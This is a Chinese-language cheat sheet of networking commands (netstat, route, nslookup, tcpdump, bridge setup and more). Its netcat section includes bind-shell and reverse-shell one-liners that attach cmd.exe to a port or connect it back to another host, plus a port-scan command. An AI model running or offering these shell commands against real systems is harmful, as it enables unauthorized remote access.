netstat
-r 顯示路由表
-I/i 顯示網絡接口信息
-s 收發包統計信息
-v 顯示詳細信息,包括unix socket、連接狀態和路徑
-e 還能顯示user
-p 顯示使用它的進程
-l listening
-a 所有的
-n 不解析域名、用戶名,直接顯示數字
t/u tcp還是udp指定
ping
-c 指定個數
-i 指定時間間隔,按s記
-t 指定ttl
route
route命令用來顯示並設置Linux內核中的網絡路由表,route命令設置的路由主要是靜態路由。直接在命令行下執行route命令來添加路由,不會永久保存,當網卡重啓或者機器重啓之後,該路由就失效了;可以在/etc/rc.local
中添加route命令來保證該路由設置永久有效。參考地址:http://man.linuxde.net/route
-A:設置地址類型;
-C:打印將Linux核心的路由緩存;
-v:詳細信息模式;
-n:不執行DNS反向查找,直接顯示數字形式的IP地址;
-e:netstat格式顯示路由表;
-net:到一個網絡的路由表;
-host:到一個主機的路由表。一般用法:route,route -n
其中Flags爲路由標誌,標記當前網絡節點的狀態,Flags標誌說明:
- U Up表示此路由當前爲啓動狀態。
- H Host,表示此網關爲一主機。
- G Gateway,表示此網關爲一路由器。
- R Reinstate Route,使用動態路由重新初始化的路由。
- D Dynamically,此路由是動態性地寫入。
- M Modified,此路由是由路由守護程序或導向器動態修改。
- ! 表示此路由當前爲關閉狀態。
traceroute
跟蹤ip路由。
nslookup
nslookup命令用於查詢DNS的記錄,查看域名解析是否正常,在網絡故障的時候用來診斷網絡問題。
nslookup domain [dns-server]
https://www.cnblogs.com/earl86/archive/2009/02/06/1666439.html
arp
-a
-s 增加
-d 刪除
dig
domain 查看域名解析過程
nc
nc -vv ip port
反彈:nc -l -n 1234 -t -e cmd.exe
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80端口
nc -l -p 80 開啓本機的TCP 80端口並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口(超時時間爲2s,-z連接成功後立即關閉 )
nc -l -p 5354 -t -e c:windows\system32\cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354端口
nc -t -e c:windows\system32\cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354端口
tcpdump
-D 查看可以抓包的網絡接口
-i 指定網絡接口
-c 指定數據包個數
-w 將抓到的數據寫入文件中
-r 讀取文件
-nn 不進行域名解析,直接顯示數字
指定協議類型:ip,ip6,arp,tcp,udp,wlan,icmp
-A 打印payload的ascii文本
-e 包含mac地址
-s 0 抓取完整數據包
過濾字段:host、src host、dst host、port、src port 、dst port、net
過濾條件連接符:not/and/or
示例:
tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap
tcpdump總的的輸出格式爲:系統時間 來源主機.端口 > 目標主機.端口 數據包參數
此時間戳的精度與內核時間精度一致, 反映的是內核第一次看到對應數據包的時間
還可以針對數據包傳輸層標誌位進行過濾:https://www.cnblogs.com/ggjucheng/archive/2012/01/14/2322659.html
tcpdump -i eth1 '((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))'
tcpdump [ -adeflnNOpqStvx ] [ -c 數量 ] [ -F 文件名 ]
[ -i 網絡接口 ] [ -r 文件名] [ -s snaplen ]
[ -T 類型 ] [ -w 文件名 ] [表達式 ]
在windows上或Linux上抓包,如果發現抓的包MTU大於1500,需要設置網卡禁用TSO。爲了降低 CPU 的負載,提高網絡的出口帶寬,
TSO 提供一些較大的緩衝區來緩存 TCP 發送的包,然後由網卡負責把緩存的大包拆分成多個小於 MTU 的包。tcpdump 或者 wireshare
抓取的是網卡上層的包,所以我們可能會觀察到大小超過 MTU 的包。Linux禁用tso命令爲:ethtool -K ethY tso off。
網橋操作
brctl addbr/delbr br0
brctl addif/delif br0 eth0
ip link set virbr0 up/down 必須down之後才能刪除網橋 或者ifup ifdown
brctl setageing br0 0 把所有的網橋都設置這個參數(網橋成hub了),不然網橋接收數據包數量級會少一個單位,200Mbps未丟包
網絡端口
0 - 1023: 常用端口和系統端口
1024 - 49151: 軟件的註冊端口
49152 - 65535: 動態端口或私有端口
其他操作
ss -lntu統計端口信息
sar-n DEV
tcpudump -D
ifstat